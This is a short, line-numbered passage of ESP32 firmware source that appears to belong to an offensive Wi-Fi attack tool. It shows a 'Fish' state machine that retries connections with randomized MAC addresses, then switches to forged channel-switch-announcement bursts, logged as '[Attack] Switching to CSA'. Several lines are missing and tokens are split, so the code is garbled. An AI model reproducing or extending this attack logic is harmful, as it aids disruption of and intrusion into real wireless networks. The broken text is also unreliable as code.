"[Fish] Captured!\n");
return; }
893 if (millis() >= _probeLockEndMs) {
894 esp_wifi_disconnect();
896 _fishRetry++; _log(
"[Fish] Timeout retry %d\n", _fishRetry); _randomizeMac();
897 _probeLockEndMs = millis() + _cfg.
fish_timeout_ms; _fishAuthLogged =
false; _fishAssocLogged =
false; esp_wifi_connect();
return;
900 _log(
"[Attack] Switching to CSA\n"); esp_wifi_set_channel(_fishChannel, WIFI_SECOND_CHAN_NONE);
901 _sendCsaBurst(); _fishState = FISH_CSA_WAIT; _probeLocked =
true; _probeLockEndMs = millis() + _cfg.
csa_wait_ms; _csaSecondBurstSent =
false;
903 _fishState = FISH_IDLE; _probeLocked =
false; _lastHopMs = millis(); _log(
"[Fish] Exhausted\n");